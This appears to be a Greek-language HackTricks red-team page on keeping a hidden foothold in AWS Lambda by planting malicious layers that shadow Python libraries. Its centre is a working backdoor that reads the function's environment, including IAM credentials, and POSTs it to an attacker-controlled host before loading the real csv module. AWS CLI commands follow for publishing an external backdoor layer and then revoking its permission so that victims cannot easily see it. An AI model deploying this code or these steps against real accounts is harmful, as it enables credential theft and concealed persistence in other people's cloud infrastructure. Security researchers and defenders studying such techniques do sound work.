AWS - Lambda Layers Persistence

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Lambda Layers

Ένα Lambda layer είναι ένα αρχείο .zip που μπορεί να περιέχει επιπλέον κώδικα ή άλλο περιεχόμενο. Ένα layer μπορεί να περιέχει βιβλιοθήκες, ένα προσαρμοσμένο runtime, δεδομένα ή αρχεία διαμόρφωσης.

Είναι δυνατόν να περιλαμβάνονται έως πέντε layers ανά συνάρτηση. Όταν περιλαμβάνετε ένα layer σε μια συνάρτηση, το περιεχόμενο εξάγεται στον φάκελο /opt στο περιβάλλον εκτέλεσης.

Από προεπιλογή, τα layers που δημιουργείτε είναι ιδιωτικά για τον λογαριασμό σας στο AWS. Μπορείτε να επιλέξετε να μοιραστείτε ένα layer με άλλους λογαριασμούς ή να το κάνετε δημόσιο. Εάν οι συναρτήσεις σας χρησιμοποιούν ένα layer που δημοσίευσε ένας διαφορετικός λογαριασμός, οι συναρτήσεις σας μπορούν να συνεχίσουν να χρησιμοποιούν την έκδοση του layer ακόμα και αφού έχει διαγραφεί ή αφού έχει ανακληθεί η άδειά σας για πρόσβαση στο layer. Ωστόσο, δεν μπορείτε να δημιουργήσετε μια νέα συνάρτηση ή να ενημερώσετε συναρτήσεις χρησιμοποιώντας μια διαγραμμένη έκδοση του layer.

Οι συναρτήσεις που έχουν αναπτυχθεί ως εικόνες εμπορευματοκιβωτίου δεν χρησιμοποιούν layers. Αντ' αυτού, συμπεριλαμβάνετε το προτιμώμενο runtime, τις βιβλιοθήκες και άλλες εξαρτήσεις στην εικόνα του εμπορευματοκιβωτίου κατά την κατασκευή της εικόνας.

Φορτωτική διαδρομή Python

Η φορτωτική διαδρομή που θα χρησιμοποιήσει η Python στο Lambda είναι η εξής:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Ελέγξτε πώς οι δεύτερη και τρίτη θέση καταλαμβάνονται από καταλόγους όπου οι λειτουργίες του λάμδα αποσυμπιέζουν τα αρχεία τους: /opt/python/lib/python3.9/site-packages και /opt/python

Εάν ένας επιτιθέμενος καταφέρει να εισχωρήσει σε ένα χρησιμοποιούμενο λάμδα layer ή να προσθέσει ένα που θα εκτελεί αυθαίρετο κώδικα όταν φορτώνεται μια κοινή βιβλιοθήκη, θα μπορεί να εκτελέσει κακόβουλο κώδικα με κάθε κλήση του λάμδα.

Επομένως, οι προϋποθέσεις είναι:

  • Ελέγξτε τις βιβλιοθήκες που φορτώνονται από τον κώδικα των θυμάτων

  • Δημιουργήστε μια βιβλιοθήκη διαμεσολαβητή με λάμδα layers που θα εκτελεί προσαρμοσμένο κώδικα και θα φορτώνει την αρχική βιβλιοθήκη.

Προφορτωμένες βιβλιοθήκες

Όταν καταχρώνται αυτήν την τεχνική, αντιμετώπισα μια δυσκολία: Ορισμένες βιβλιοθήκες έχουν ήδη φορτωθεί στον χρόνο εκτέλεσης της Python όταν εκτελείται ο κώδικάς σας. Περίμενα να βρω πράγματα όπως os ή sys, αλλά ακόμα και η βιβλιοθήκη json είχε φορτωθεί. Για να καταχραστείτε αυτήν την τεχνική διατήρησης, ο κώδικας πρέπει να φορτώσει μια νέα βιβλιοθήκη που δεν έχει φορτωθεί όταν εκτελείται ο κώδικας.

Με έναν κώδικα Python όπως αυτός, είναι δυνατόν να λάβετε τη λίστα των βιβλιοθηκών που έχουν προφορτωθεί εντός του χρόνου εκτέλεσης της Python στο λάμδα:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

Και αυτή είναι η λίστα (ελέγξτε ότι βιβλιοθήκες όπως os ή json υπάρχουν ήδη εκεί)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

Και αυτή είναι η λίστα των βιβλιοθηκών που περιλαμβάνει η lambda που είναι εγκατεστημένες από προεπιλογή: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Παραβίαση Λειτουργίας Επιπέδου Lambda

Σε αυτό το παράδειγμα, ας υποθέσουμε ότι ο κατευθυνόμενος κώδικας εισάγει τη csv βιβλιοθήκη. Θα προχωρήσουμε στην παραβίαση της εισαγωγής της βιβλιοθήκης csv.

Για να το κάνουμε αυτό, θα δημιουργήσουμε τον φάκελο csv με το αρχείο __init__.py μέσα σε αυτόν, σε ένα μονοπάτι που φορτώνεται από την lambda: /opt/python/lib/python3.9/site-packages. Έπειτα, όταν εκτελείται το lambda και προσπαθεί να φορτώσει το csv, το αρχείο μας __init__.py θα φορτωθεί και θα εκτελεστεί. Αυτό το αρχείο πρέπει:

  • Να εκτελεί το payload μας

  • Να φορτώνει την αρχική βιβλιοθήκη csv

Μπορούμε να κάνουμε και τα δύο με:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Στη συνέχεια, δημιουργήστε ένα zip με αυτόν τον κώδικα στη διαδρομή python/lib/python3.9/site-packages/__init__.py και προσθέστε το ως ένα λειτουργικό επίπεδο λάμδα.

Μπορείτε να βρείτε αυτόν τον κώδικα στο https://github.com/carlospolop/LambdaLayerBackdoor

Το ενσωματωμένο φορτίο θα στείλει τα IAM διαπιστευτήρια σε έναν διακομιστή ΤΗΝ ΠΡΩΤΗ ΦΟΡΑ που καλείται ή ΜΕΤΑ από επαναφορά του container της λάμδα (αλλαγή του κώδικα ή κρύα λάμδα), αλλά μπορούν επίσης να ενσωματωθούν και άλλες τεχνικές όπως οι ακόλουθες:

Εξωτερικά Επίπεδα

Να σημειωθεί ότι είναι δυνατή η χρήση επιπέδων λάμδα από εξωτερικούς λογαριασμούς. Επιπλέον, μια λάμδα μπορεί να χρησιμοποιήσει ένα επίπεδο από έναν εξωτερικό λογαριασμό ακόμα κι αν δεν έχει δικαιώματα. Επίσης, να σημειωθεί ότι το μέγιστο πλήθος των επιπέδων που μπορεί να έχει μια λάμδα είναι 5.

Επομένως, για να βελτιώσει την ευελιξία αυτής της τεχνικής, ένας επιτιθέμενος θα μπορούσε:

  • Να εισχωρήσει σε ένα υπάρχον επίπεδο του χρήστη (τίποτα δεν είναι εξωτερικό)

  • Να δημιουργήσει ένα επίπεδο στον λογαριασμό του, να δώσει στον λογαριασμό του θύματος πρόσβαση για να χρησιμοποιήσει το επίπεδο, να διαμορφώσει το επίπεδο στη λάμδα του θύματος και να αφαιρέσει την άδεια.

  • Η Λάμδα θα μπορεί ακόμα να χρησιμοποιήσει το επίπεδο και το θύμα δεν θα έχει εύκολο τρόπο να κατεβάσει τον κώδικα των επιπέδων (εκτός από το να πάρει ένα αντίστροφο κέλυφος μέσα στη λάμδα)

  • Το θύμα δεν θα δει εξωτερικά επίπεδα που χρησιμοποιούνται με aws lambda list-layers

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated